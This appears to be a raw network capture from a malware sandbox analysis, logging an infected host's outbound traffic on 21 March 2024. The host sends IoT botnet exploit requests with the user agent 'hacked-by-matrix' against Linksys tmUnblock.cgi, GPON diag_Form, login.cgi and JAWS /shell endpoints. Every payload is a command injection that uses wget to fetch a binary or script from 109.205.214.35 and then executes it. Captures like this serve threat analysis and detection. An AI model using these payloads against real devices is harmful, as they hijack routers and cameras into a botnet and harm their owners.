34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 26 23 34 37 3b 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 39 2e 30 2e 33 31 20 28 44 65 62 69 61 6e 29 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> /tmUnblock.cgi</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.31 (Debian)</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.13	58076	109.36.200.234	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.739326000 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:51.283972979 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:52.375785112 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:54.614913940 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:58.963818073 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:07.671789885 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:25.075861931 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:59.891849041 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.13	44356	212.175.131.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.826874971 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:51.113404989 CET	410	IN	HTTP/1.1 302 Moved Temporarily Content-Security-Policy: img-src * data: blob:;base-uri 'self';worker-src 'self' blob:;manifest-src 'self';frame-src 'self' data: Referrer-Policy: same-origin Strict-Transport-Security: max-age=2592000 X-Frame-Options: sameorigin X-XSS-Protection: 1 Server: WDaemon/4.0 Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 0 Connection: close
Mar 21, 2024 05:17:51.278367043 CET	410	IN	HTTP/1.1 302 Moved Temporarily Content-Security-Policy: img-src * data: blob:;base-uri 'self';worker-src 'self' blob:;manifest-src 'self';frame-src 'self' data: Referrer-Policy: same-origin Strict-Transport-Security: max-age=2592000 X-Frame-Options: sameorigin X-XSS-Protection: 1 Server: WDaemon/4.0 Date: Thu, 21 Mar 2024 04:18:17 GMT Content-Type: text/html Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.13	55166	216.171.24.75	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.860812902 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.13	55158	216.171.24.75	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.921655893 CET	284	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Cache-Control: no-cache Date: Thu, 21 Mar 2024 04:17:50 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.13	55174	216.171.24.75	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.579557896 CET	284	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Cache-Control: no-cache Date: Thu, 21 Mar 2024 04:17:50 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.13	46170	210.23.182.253	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.737761974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
673	192.168.2.13	39116	210.84.210.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.737762928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
674	192.168.2.13	54406	24.222.201.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:52.247071981 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:52.947812080 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:53.752923965 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:55.318885088 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:58.451791048 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:04.858901024 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:17.398946047 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:43.511904955 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
675	192.168.2.13	39148	13.226.13.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:52.359308958 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:52.947815895 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:53.057776928 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
676	192.168.2.13	53754	109.160.86.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.746404886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.13	44768	94.175.198.172	443

Timestamp	Bytes transferred	Direction	Data
